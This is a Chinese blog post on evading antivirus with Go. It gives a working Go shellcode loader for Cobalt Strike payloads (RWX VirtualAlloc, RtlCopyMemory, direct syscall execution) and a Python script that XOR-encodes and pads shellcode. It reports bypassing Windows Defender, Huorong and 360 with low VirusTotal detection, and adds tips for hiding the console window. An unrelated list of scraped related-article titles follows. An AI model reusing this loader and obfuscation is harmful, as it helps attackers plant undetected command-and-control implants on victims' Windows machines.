go免杀初探
0x01 go免杀
由于各种av的限制,我们在后门上线或者权限持久化时很容易被杀软查杀,容易引起目标的警觉同时暴露了自己的ip。尤其是对于windows目标,一个免杀的后门极为关键,如果后门文件落不了地,还怎么能进一步执行呢?关于后门免杀,网上的介绍已经很多了,原理其实大同小异。看了很多网上的案例,发现网上比较多都是用C/C++和python来进行免杀,但是很多已经被杀软看的死死的,
非常容易就被识别出来了,那我想能不能用一种稍微小众一点的语言来写免杀呢,这里就不得不说到go语言。
Go语言专门针对多处理器系统应用程序的编程进行了优化,使用Go编译的程序可以媲美C或C++代码的速度,而且更加安全、支持并行进程。而且go语言支持交叉编译可以跨平台。
本文基于cobalt strike生成的.c文件来进行免杀测试。
0x02 免杀测试
首先生成成一个.C文件


这里先贴一个最原始的go加载代码
package main
import (
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
func main() {
xor_shellcode := []byte{0x89, 0x3d, 0xf6, 0x91, 0x85, 0x9d, 0xb9, 0x75, 0x75, 0x75, 0x34, 0x24, 0x34, 0x25, 0x27, 0x24, 0x23, 0x3d, 0x44, 0xa7, 0x10, 0x3d, 0xfe, 0x27, 0x15, 0x3d, 0xfe...}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
这里注意:因为杀软对直接加载shellcode的一般都是落地秒,所以我们得换种方式,将shellcode混淆加密后再解密来使用。
加密和混淆经常使用的有异或加密,AES加密,或者添加随机字符等。
但是随着现在使用这种方法的人越来越多,杀软检测力度也越来越大,所以现在混淆的关键就是方式尽量要小众,或者自己写加密方法。
这里有个好的地方就是,现在网上实现加密混淆操作的大都是使用C/C++来完成的,有些比较好的思路用C/C++实现可能会被杀软拦截,但是如果把它移植到go上面说不定就有不一样的效果。
先从整个shellcode混淆的脚本
def xor(shellcode, key):
new_shellcode = ""
key_len = len(key)
# 对shellcode的每一位进行xor亦或处理
for i in range(0, len(shellcode)):
s = ord(shellcode[i])
p = ord((key[i % key_len]))
s = s ^ p # 与p异或,p就是key中的字符之一
s = chr(s)
new_shellcode += s
return new_shellcode
def random_decode(shellcode):
j = 0
new_shellcode = ""
for i in range(0,len(shellcode)):
if i % 2 == 0:
new_shellcode[i] = shellcode[j]
j += 1
return new_shellcode
def add_random_code(shellcode, key):
new_shellcode = ""
key_len = len(key)
# 每个字节后面添加随机一个字节,随机字符来源于key
for i in range(0, len(shellcode)):
#print(ord(shellcode[i]))
new_shellcode += shellcode[i]
# print("&"+hex(ord(new_shellcode[i])))
new_shellcode += key[i % key_len]
#print(i % key_len)
return new_shellcode
# 将shellcode打印输出
def str_to_hex(shellcode):
raw = ""
for i in range(0, len(shellcode)):
s = hex(ord(shellcode[i])).replace("0x",',0x')
raw = raw + s
return raw
if __name__ == '__main__':
shellcode = ""
# 这是异或和增加随机字符使用的key
key = "iqe"
print(shellcode[0])
print(len(shellcode))
# 首先对shellcode进行异或处理
shellcode = xor(shellcode, key)
print(len(shellcode))
# 然后在shellcode中增加随机字符
shellcode = add_random_code(shellcode, key)
# 将shellcode打印出来
print(str_to_hex(shellcode))
加密shellcode后,再使用go语言加载混淆后的shellcode,先解密再执行。
package main
import (
"fmt"
"syscall"
"time"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
func main() {
mix_shellcode := []byte{0x95,0x69,0x39,0x71,0xe6,0x65}
var ttyolller []byte
key := []byte("iqe")
var key_size = len(key)
var shellcode_final []byte
var j = 0
time.Sleep(2)
// 去除垃圾代码
fmt.Print(len(mix_shellcode))
for i := 0; i < len(mix_shellcode); i++ {
if (i % 2 == 0) {
shellcode_final = append(shellcode_final,mix_shellcode[i])
j += 1
}
}
time.Sleep(3)
fmt.Print(shellcode_final)
// 解密异或
for i := 0; i < len(shellcode_final); i++ {
ttyolller = append(ttyolller, shellcode_final[i]^key[i % key_size])
}
time.Sleep(3)
addr, _, err := VirtualAlloc.Call(0, uintptr(len(ttyolller)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
time.Sleep(3)
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&ttyolller[0])), uintptr(len(ttyolller)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
直接go build生成exe文件
生成的文件大概有2M,再经过UPX压缩后大概只有1M,这比python生成的要小很多了。

静态完美过WindowsDefender,火绒和360全家桶


可以正常上线

VT查杀率71/8

可以看到国内的就一款杀软查出来了
后记
用go编译的exe文件执行后会弹出黑框这里有两个解决办法
- 在initial_beacon中设置auto migrate,但还得连带把initial sleep设置成尽可能短
- build时添加操作选项:-ldflags="-H windowsgui"
参考
https://payloads.online/archivers/2019-11-10/1
https://saucer-man.com/operation_and_maintenance/465.html#cl-5
http://iv4n.cc/go-shellcode-loader/#shellcode-loader
https://payloads.online/archivers/2019-11-10/3
go免杀初探的更多相关文章
- 【黑客免杀攻防】读书笔记7 - 软件逆向工程基础1(函数调用约定、Main函数查找)
0x1 准备工作 1.1.准备工具 IDA:交互式反汇编工具 OllyDbg:用户层调试工具 Visual Studio:微软开发工具 1.2.基础知识 C++开发 汇编语言 0x2 查找真正的mai ...
- 免杀后门之MSF&Veil-Evasion的完美结合
本文由“即刻安全”投稿到“玄魂工作室” Veil-Evasion 是 Veil-Framework 框架的一部分,也是其主要的项目.利用它我们可以生成绕过杀软的 payload !kali 上并未安装 ...
- PHP一句话过狗、卫士、D盾等免杀思路!
原文转载于:http://www.legendsec.org/1701.html 觉得写得还算蛮科普的. 00x1.关键字拆分. 比如assert,可以写成 ‘a’.’ss’.’e’. ...
- Atitit.木马病毒的免杀原理---sikuli 的使用
Atitit.木马病毒的免杀原理---sikuli 的使用 1. 使用sikuli java api1 1.1. 3. Write code!1 2. 常用api2 2.1. wait 等待某个界面出 ...
- Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结
Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结 1. ,免杀技术的用途2 1.1. 病毒木马的编写2 1.2. 软件保护所用的加密产品(比如壳)中,有 ...
- 浅谈C++源码的过国内杀软的免杀
以下只是简单的思路和定位.也许有人秒过,但是不要笑话我写的笨方法.定位永远是过期不了的. 其实这里废话一下 , 本人并不是大牛 ,今天跟大家分享下 .所以写出这篇文章.(大牛飘过) 只是个人实战的经验 ...
- lcx源代码以及免杀的研究
之前和Random大神讨论了一下免杀的问题,他给出了一个比较不错的想法,使用debug版本发布可以过很多杀软.顺便看了下lcx的源码,发现其代码不算特别复杂,于是乎就在这分析一下. 报毒情况 因为使用 ...
- 绕过网站安全狗拦截,上传Webshell技巧总结(附免杀PHP一句话)
这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法. 思路是:修改HTTP请求,构成畸形HTTP请求,然后绕过网站安全狗的检测. 废话不多说,切入正题.... 1.实验环境: Win ...
- Exp3免杀原理与实践 20164312 马孝涛
1.实验要求 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编 ...
随机推荐
- 远程部署项目,修改catalina.bat文件 完美解决在代理服务器上HttpURLConnection 调接口超时的问题
远程给客户部署项目,运行时程序调外部接口时总是出不去,经过不懈努力,后来发现客户那边的网络走的是代理,于是在代码中加下面代码: //设置代理 System.setProperty("http ...
- Qt Undo Framework
Qt undo/redo 框架 基于Command设计模式 支持命令压缩和命令合成 提供了与工具包其他部分融合很好的widgets和actions 术语(Terminology) Command - ...
- CUDA 介绍
1. 介绍 1.1 GPU vs. CPU GPU 使用更多的晶体管进行数据处理,而不是数据缓存和流控制,因此可以提供高度的并行计算. GPU 可以通过计算来隐藏内存访问延迟,而不是依赖于大量的数据缓 ...
- IDEA 2019 Unable to get current time from Google's servers 解决
取消android support即可
- 命名规范 api-guidelines api规范
https://weui.io weui.css .weui-cell_select-before .weui-cell__bd:after{ display:none; } .weui-cell_s ...
- 【Source Insight】查找功能 Lookup References 详解
1.Options Case Sensitive //区分大小写 Whole Words Only //全字匹配查找 Skip Inactive Code //跳过无效代码查找 Skip Commen ...
- java的几种对象(PO,VO,DAO,BO,POJO)
一.PO persistant object 持久对象,可以看成是与数据库中的表相映射的java对象.最简单的PO就是对应数据库中某个表中的一条记录,多个记录可以用PO的集合.PO中应该不包含任何对数 ...
- Java面试,面试题
Java面试,面试题 HashMap,HashTable,ConcurrentHash的共同点和区别 HashMap HashTable ConcurrentHashMap ArrayList和Lin ...
- eclipse中Tomcat修改项目名称
1.打开你的项目目录,找到一个.project文件,打开后修改<name> test</name>中的值,将test修改成你要修改的名字: 2.在项目目录下,打开.settin ...
- JavaScript 、TypeScript 中的 Boolean
boolean 是 JavaScript 中一种有趣的原始数据类型.在TypeScript中,非严格模式下("strictNullChecks": false),它总共允许4个值 ...